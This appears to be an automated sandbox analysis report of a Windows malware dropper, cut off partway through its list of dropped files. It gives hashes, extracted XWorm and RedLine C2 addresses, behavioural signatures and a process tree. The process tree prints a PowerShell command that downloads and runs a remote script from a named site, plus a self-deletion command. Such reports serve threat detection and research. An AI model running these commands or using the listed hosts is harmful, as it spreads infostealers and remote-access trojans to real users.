Analysis

  • max time kernel
    53s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/02/2024, 18:51

General

  • Target

    4363463463464363463463463.exe

  • Size

    10KB

  • MD5

    2a94f3960c58c6e70826495f76d00b85

  • SHA1

    e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

  • SHA256

    2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

  • SHA512

    fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

  • SSDEEP

    192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://houssagynecologue.com/assets/js/debug2.ps1

Extracted

Family

xworm

Version

5.0

C2

159.89.100.67:7000

Mutex

fhBwWqkQJ7j5rHzI

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family

redline

C2

135.181.121.233:1451

Signatures

  • Detect Xworm Payload 6 IoCs
  • Detect ZGRat V1 64 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Detects Windows executables referencing non-Windows User-Agents 2 IoCs
  • Detects executables packed with Themida 2 IoCs
  • Detects executables packed with unregistered version of .NET Reactor 6 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 35 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:1052
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4496
    • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
      "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
      1⤵
      • Checks computer location settings
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Users\Admin\AppData\Local\Temp\Files\app1.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\app1.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4132
      • C:\Users\Admin\AppData\Local\Temp\Files\ss_conn_service.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\ss_conn_service.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2108
      • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Users\Admin\AppData\Local\Temp\BBLb.exe
          "C:\Users\Admin\AppData\Local\Temp\BBLb.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3012
          • C:\Users\Admin\AppData\Local\Temp\BBLb.exe
            C:\Users\Admin\AppData\Local\Temp\BBLb.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3344
        • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
          C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2964
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 448
            4⤵
            • Program crash
            PID:3164
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 444
            4⤵
            • Program crash
            PID:4780
        • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
          C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
          3⤵
          • Executes dropped EXE
          PID:1716
      • C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe"
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:5092
        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\whatgoal.exe
          C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\whatgoal.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:2664
      • C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe"
        2⤵
        • Executes dropped EXE
        PID:4920
      • C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"
        2⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        PID:3680
      • C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:4656
      • C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe"
        2⤵
        • Executes dropped EXE
        PID:4784
      • C:\Users\Admin\AppData\Local\Temp\Files\sqlcmd.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\sqlcmd.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1160
        • C:\Windows\system32\cmd.exe
          "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://houssagynecologue.com/assets/js/debug2.ps1')"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:432
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -command IEX(New-Object Net.Webclient).DownloadString('https://houssagynecologue.com/assets/js/debug2.ps1')
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2212
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\Files\sqlcmd.exe" >> NUL
          3⤵
            PID:3000
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1
              4⤵
              • Runs ping.exe
              PID:1548
        • C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
          2⤵
          • Executes dropped EXE
          PID:1976
        • C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe"
          2⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          PID:3708
      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\whatgoal.exe
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\whatgoal.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2664
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2964 -ip 2964
        1⤵
          PID:1476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2964 -ip 2964
          1⤵
            PID:4828
          • C:\Windows\system32\sihost.exe
            sihost.exe
            1⤵
              PID:1052
              • C:\Windows\SysWOW64\dialer.exe
                "C:\Windows\system32\dialer.exe"
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4496
            • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
              "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
              1⤵
              • Checks computer location settings
              • Suspicious use of AdjustPrivilegeToken
              PID:1608
              • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
                2⤵
                • Executes dropped EXE
                PID:4060
              • C:\Users\Admin\AppData\Local\Temp\Files\app1.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\app1.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4132
              • C:\Users\Admin\AppData\Local\Temp\Files\teamviewer.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\teamviewer.exe"
                2⤵
                  PID:4392
                • C:\Users\Admin\AppData\Local\Temp\Files\ss_conn_service.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\ss_conn_service.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2108
                • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"
                  2⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2604
                  • C:\Users\Admin\AppData\Local\Temp\BBLb.exe
                    "C:\Users\Admin\AppData\Local\Temp\BBLb.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3012
                    • C:\Users\Admin\AppData\Local\Temp\BBLb.exe
                      C:\Users\Admin\AppData\Local\Temp\BBLb.exe
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3344
                  • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
                    C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
                    3⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2964
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 448
                      4⤵
                      • Program crash
                      PID:3164
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 444
                      4⤵
                      • Program crash
                      PID:4780
                  • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
                    C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
                    3⤵
                    • Executes dropped EXE
                    PID:1716
                • C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe"
                  2⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:5092
                • C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:4920
                • C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"
                  2⤵
                  • Executes dropped EXE
                  • Drops file in Windows directory
                  PID:3680
                • C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4656
                • C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:4784
                • C:\Users\Admin\AppData\Local\Temp\Files\sqlcmd.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\sqlcmd.exe"
                  2⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:1160
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://houssagynecologue.com/assets/js/debug2.ps1')"
                    3⤵
                      PID:432
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -command IEX(New-Object Net.Webclient).DownloadString('https://houssagynecologue.com/assets/js/debug2.ps1')
                        4⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2212
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\Files\sqlcmd.exe" >> NUL
                      3⤵
                        PID:3000
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1
                          4⤵
                          • Runs ping.exe
                          PID:1548
                    • C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:1976
                    • C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe"
                      2⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3708
                    • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:4060
                    • C:\Users\Admin\AppData\Local\Temp\Files\teamviewer.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\teamviewer.exe"
                      2⤵
                        PID:4392
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2964 -ip 2964
                      1⤵
                        PID:1476
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2964 -ip 2964
                        1⤵
                          PID:4828

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BBLb.exe.log

                                Filesize

                                927B

                                MD5

                                4a911455784f74e368a4c2c7876d76f4

                                SHA1

                                a1700a0849ffb4f26671eb76da2489946b821c34

                                SHA256

                                264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c

                                SHA512

                                4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

                              • C:\Users\Admin\AppData\Local\Temp\BBLb.exe

                                Filesize

                                1.2MB

                                MD5

                                71eb1bc6e6da380c1cb552d78b391b2a

                                SHA1

                                df3278e6e26d8c0bc878fe0a8c8a91b28c5a652d

                                SHA256

                                cefa92ee6cc2fad86c49dd37d57ff8afcb9b9abef0a110689e6d771394256bd6

                                SHA512

                                d6fab2c469924b8202f7964e864f66d6b6151937c8d134fb40e1f1d3787cf22328892c3f7209786e0b42e1abd5ca71a61f40538ef1e93534d2a98bf6d4448e90

                              • C:\Users\Admin\AppData\Local\Temp\BBLb.exe

                                Filesize

                                192KB

                                MD5

                                eea6a25a6b4a5757699a6ebf8238ac2d

                                SHA1

                                6d6344c08ffd145bdc6fda8f8d5e67ac09b038c8

                                SHA256

                                97050216587f82f621a561fc2dbd48f43db5dfd22508f7246bbea016a0113c46

                                SHA512

                                af9d3e35a6ffc82fa8d22535cd9cae8d70d5804818ac05142074fb2455cfc82fe1d4130cc57e552867137d771868ae09994a5343d4e8b8aba1b93e88f3f58892

                              • C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe

                                Filesize

                                3.2MB

                                MD5

                                c3ee25c18f2c408c9054d9c6d4c1e147

                                SHA1

                                80d2395709b713647b199c22fdec5415d3a68052

                                SHA256

                                c406b733897d091408ed5a656cfbf043623a8d08092269918184ccefd87971f0

                                SHA512

                                d91a1675ca9a2923020ce244d00da6a9b686240dc7ef50185709ecbc2f6b8f92c371ee94ec277a2d3b0e33704c532d2f8779b39ac9f630b9b40f0794312d72f4

                              • C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe

                                Filesize

                                1.5MB

                                MD5

                                09caa9400fc4a428bddcf6ce7083aa37

                                SHA1

                                61d0f258b7fadccf69f2a6ac494977afe9f7f53e

                                SHA256

                                6e57013299b94fdd4915a06782732c3bb333a1e258b43df42d28788a207d6350

                                SHA512

                                2bbb575935afdb474e5e79cdbe5bf9f22954f6c622246ec29445140ef7278156c91c4f909cad3f11326f09ac634e69510822232f1712849f3d855c5e89214d21

                              • C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe

                                Filesize

                                784KB

                                MD5

                                746c3d444c5122a42262caa23db27c77

                                SHA1

                                e65fabed400c7d7be22ab12d7a23e6e8d8df2a53

                                SHA256

                                5c6490e730ae82a945aa46e866e1f42367dc640d5c4c91174135c8a09ea84110

                                SHA512

                                a195a984ce486468a5ad53cdb5388e2fff9c575cc566f83005bc64634f1d3f7dcf20020dde265d055b166223d93664d5ba590426016835d33a4a18f226820972

                              • C:\Users\Admin\AppData\Local\Temp\Files\Amdau.exe

                                Filesize

                                768KB

                                MD5

                                0ea4d547a2813b43b6fa0480a3ebdecf

                                SHA1

                                2fa71cc33e7bdb4e8128a0e3a5813123e499bb13

                                SHA256

                                d4920aa53ff29cd24320d646afc8990294f5aa7bc99f0b8d76bcc9eb8d451c23

                                SHA512

                                c9ec25b05ed62b6bd4895c08b453ea32c57f0e458c7e528defa9a41c8e7486ee4b63aa612952924f21272fbbf543a053327a6577222e37cb06450addd6ad147d

                              • C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe

                                Filesize

                                916KB

                                MD5

                                c93d84eaa210873046480553eed98194

                                SHA1

                                dd1a4cc2d68ace206400e793a26c93abfcac2e7c

                                SHA256

                                34cb66e01f04afb043efba23d4e742225cef84261ea2f33f22bc55c9f1a2fc1b

                                SHA512

                                c9dbfeee9e5bd0e5103e6ff6af193dd148dc15d36a14bb11359566ae2ec941a6a73cd96e5e40c125e20371411ba847a137af5293aeed4cef8d668856f7daaa77

                              • C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe

                                Filesize

                                1.5MB

                                MD5

                                be1d8fb7825e9cd0f2572096d60bbd5f

                                SHA1

                                ea39aa2ada986a28ea66f6252c7d597ffdfdbb96

                                SHA256

                                c0143c77d9bc39a7e6c58918f07a1309edc7d8d2148546e14b012e1a981a6bcd

                                SHA512

                                5563b88643ca05309b908251816a9028bb4eed224807c3c7d55c3041a3533d41d63fe958943696069457d621eb5cb97f520c4df3a377b637660724140cf3e38b

                              • C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe

                                Filesize

                                584KB

                                MD5

                                0c8b6953c0fb40261a0fe6b485df4c97

                                SHA1

                                201fd884c868521480fc0914b474bf0a80ad3037

                                SHA256

                                455aa7e1f2fe21cb3c2394bfa603193d9cbc1023e51cebc0be01398ae7f7c5ba

                                SHA512

                                55a2358c9dfa50e3cf01cd924a4fba30106dbc1946c27593b3407227fef92c6ecd9de36902b94818da5d791604c6eee1a28a7654e7b0e947a618c1bd2a2df58c

                              • C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_3.exe

                                Filesize

                                763KB

                                MD5

                                4c3ee2f1e62106e961ec131ccf3e411e

                                SHA1

                                30b883d83528f75f449a02a969e8a72e81821964

                                SHA256

                                2bb2bba4b38345c867ac21141344eef4666ec75bce655578f67a42d2b9d0de9e

                                SHA512

                                0bb24f6fe239c90efc9b54ef1a8b0f025e2e131644f0c51c7f309777f91fb39b890611b24b3cf5273916a9b9a4ceb7eb1ce95e504be8a9683779848a11b6bf5a

                              • C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe

                                Filesize

                                2.6MB

                                MD5

                                b7284f4a9502d0d74e77d465f60f78f0

                                SHA1

                                24a4fc7e6be9456e4428a4ec789c652a45db75dc

                                SHA256

                                b58cdc2d1c18a58083eb52574470507f85e085d80f2c2df106c208ed2cd2641f

                                SHA512

                                979ed9d734ec6e6e2b49ddc93216226d8bcccbe5f4d2f53f047cafab176e5f34fb6d9744a159d134e9f25c74cf4642b6a5ffe87854275d7bea257ec6e04b3b7d

                              • C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe

                                Filesize

                                2.4MB

                                MD5

                                00c80ad4ae1a04729dc7489cf59c21c0

                                SHA1

                                62407168b615c1a02832bb345dbf2f8e9ddd22d5

                                SHA256

                                79e9660d6472e6d4f74daf9282f6c95e1a8118292afb350af496fd3283956b47

                                SHA512

                                41fd7737ff120de497fd9fdced525c075f5044abf7a8253f409414bb9b8c4095e36fa9101450e4f8666a396888ae42b54182f1d52938ce3d361a0bf4b2dd7bcf

                              • C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe

                                Filesize

                                1.6MB

                                MD5

                                0e4b35b9deee8ca581d37fe239d9a7d6

                                SHA1

                                d94d56b442efb3de9a46637d78b27fe7f3d84df7

                                SHA256

                                e29e9880a323bdb36154ab6a0618d9ea0d6ee4b120426e29f7f1e12be10def65

                                SHA512

                                bc12a0bd61ac26f9f08b6a122073112ef34a3de3cf03ab43d4e108d5ce4604261cba5d8287f1576781043f2db001add7387641412030992d4ad8b0d9b03265e0

                              • C:\Users\Admin\AppData\Local\Temp\Files\Update_new.exe

                                Filesize

                                1.5MB

                                MD5

                                a02521efa4d3e5529b226ad698a5a225

                                SHA1

                                a050e359c4fd1c565f31b81676248f9ca2d6d9a3

                                SHA256

                                b03371a4025c719394d2554d2541efe5354773cedf4999b27c1837b498fe3a4c

                                SHA512

                                6068bed3395c815e379147fe032ad760f85778d802cc94df35c55d0a2f2bfebdf1312569657fc8ee3283e580152dd4f50448fe77731744626a0f42d79b097e9a

                              • C:\Users\Admin\AppData\Local\Temp\Files\ama.exe

                                Filesize

                                1.4MB

                                MD5

                                04055601abbd16ec6cc9e02450c19381

                                SHA1

                                420bd7c7cad59f1b7cdd2c8a64282ef6f06cfe6e

                                SHA256

                                b7620bff5539ff22c251c32e62961beae4f5a91b0f6c73dde1a7da941b93fe13

                                SHA512

                                826c13cf6a37c561fb9052b3a0a7424df7d2fe424fe8c3783440c4483aa46a2cf1e4c275c7c080a130e178c7ac3221bb9224126ef4ab0bee38c24b12fa2a70ac

                              • C:\Users\Admin\AppData\Local\Temp\Files\app1.exe

                                Filesize

                                286KB

                                MD5

                                86443efb8ee2289340119b5e84aad4f1

                                SHA1

                                e8b2d4cc5fcebbfe798283431073e0b78ba80f4e

                                SHA256

                                4d64bbdbca232e9efbf8770386ed39562691793c678856d6e0c0fb1dc4af5219

                                SHA512

                                73a04ff02aaacfce3d750bb033b1213932df72f9877b014aefdb0eefc751a840f30b3e21095f90644c1d448b6da1bab7e53009053c1db5c54d57256646a1e0c5

                              • C:\Users\Admin\AppData\Local\Temp\Files\cp.exe

                                Filesize

                                1.8MB

                                MD5

                                97256cf11c9109c24fde65395fef1306

                                SHA1

                                e60278d8383912f03f25e3f92bf558e2a33f229d

                                SHA256

                                21c23083404349dbc8e7094338acaa07ea5a7e3a442bb81a528e06c175b8d934

                                SHA512

                                41e9c7911c1f461ec389ac9d430898bd9e21accf6b4291d30c4e743084bb19c2ae9279597f4a43cfaec621263cb135c3ada21e23e27cc7961c794fa499910c6e

                              • C:\Users\Admin\AppData\Local\Temp\Files\cp.exe

                                Filesize

                                1.4MB

                                MD5

                                e11d69f19297ff2a428157e28014eb86

                                SHA1

                                11f05de52c2f4b1f5191421d0837027fc277f811

                                SHA256

                                74a3b7247a033e3bdde1a3238f814dfc4c481c369dcda3048ea9322f094d67c9

                                SHA512

                                c7fe48913d25c8fac624450bdfadc537dd5b6fefef855d3e96c6dbb12f097664ae56332b600dfc9073fd592200dfb2283dcb55a9a8516024985b9d1021d835ba

                              • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe

                                Filesize

                                364KB

                                MD5

                                b45eeb95925aa16b9bb9112e4f57554b

                                SHA1

                                fe02f56c3f7f58f8ea989423a2090d4c63fc45ca

                                SHA256

                                c6e4da779c6f10a878f94aa66d650396f7147d6d08dc9c2a558e07487af6f8b1

                                SHA512

                                08e70d895ecc26738dff944fd867aeb334a3b061308d9e430f3727df3a5848ac11b942258f351aa225d02521f047d3c43b26d8ad7984eccddb7962c6c2761435

                              • C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe

                                Filesize

                                2.1MB

                                MD5

                                1a917a85dcbb1d3df5f4dd02e3a62873

                                SHA1

                                567f528fec8e7a4787f8c253446d8f1b620dc9d6

                                SHA256

                                217fbf967c95d1359314fcd53ae8d04489eb3c7bdc1f22110d5a8a476d1fc92e

                                SHA512

                                341acbd43efac1718c7f3e3795549acf29237a2675bdadcb7e52ce18aac6dcc6ae628e1b6edfa2338ed6d9923c148cb4322c75fad86d5c0e6f2327c2270563ec

                              • C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe

                                Filesize

                                186KB

                                MD5

                                5352330d462586bfea94ecb001ecef5e

                                SHA1

                                85a16c3d2f7dddc65a9ff7243e61b142fad9b497

                                SHA256

                                8a049d96c7cb3586360c4936c28a543f8625ac00870a5887478eef8f2a169549

                                SHA512

                                5de8fcf8da17d3da4e5d6693cb7bf9e1bc5a5f39d80380f83575b9e26ea7f5a99ebb5e33f5c2ad37e64daefedef144486ee01620090f10a12dd469a847820679

                              • C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe

                                Filesize

                                1KB

                                MD5

                                0516f1da5885fac0182377c29f30942a

                                SHA1

                                03a373a25636aa2502ef21b36e01ac88257ed845

                                SHA256

                                8d0642f18b57a5af3a949eb9fe232790826ebddb2a820aa951f811f79dac9ff0

                                SHA512

                                eb38b9a2af0bd4604b8d806b7706342367ddde342ad69f6671a49506ba0e29b2d65564768f10ec506c73d2c6372a856d358e176d1af092158e3fbb930280dd7d

                              • C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe

                                Filesize

                                1.8MB

                                MD5

                                af64e17a3ae14a0e6d5ebd6fd918d9a1

                                SHA1

                                9bd02360d2725bf775dc0896dc6c9389bfc52ffe

                                SHA256

                                ee7e31e83c3fd26752c404acca638c496a1cebae7120b72ff5386508663cab35

                                SHA512

                                06efc2cff51a1e3e2b907b88a08f388a5701953d8bf52c8eef0dd3b1931a1d4044991204be89e83e72029b8b5f8b0589527524efe63260ca506c517bd5a6d51f

                              • C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe

                                Filesize

                                6.3MB

                                MD5

                                b1e8d4d7dd26612c17eccbf66b280e7c

                                SHA1

                                97dd5e81a4014fb54ef5ac3f1db88519843c85c2

                                SHA256

                                e3940372b04a4cb2177ae409c195debccfe004600d73a39d429a577d248d4cb2

                                SHA512

                                ff70dd3103128cd36bd1da3a734e635ec76d53a5629fc1f05941d6cadb9e82310da0ea298dcf449ef17c42a70ea7d787a75585ffa37a74f9007ca91a4481ecc8

                              • C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe

                                Filesize

                                704KB

                                MD5

                                b02f359dd0d7e67564d3eac6751d0ae1

                                SHA1

                                bbc70dfc988416f9748075cfa0f4643f5a7d213f

                                SHA256

                                fdf25c5350179cdc132e7c860207e50f9bc4f7d9cf3380da9ead2878c3fa3f5a

                                SHA512

                                b58de13bda68a6749ba8392dd8a1cdbe5ac40416330bf735c3c6d31caf6d2ed110ff69c065cc57bce35b03a093e8d6a4b9db6d68a8c5b83c4cd626ce385f9892

                              • C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe

                                Filesize

                                128KB

                                MD5

                                50740dd10807d62d5d96b0748416238b

                                SHA1

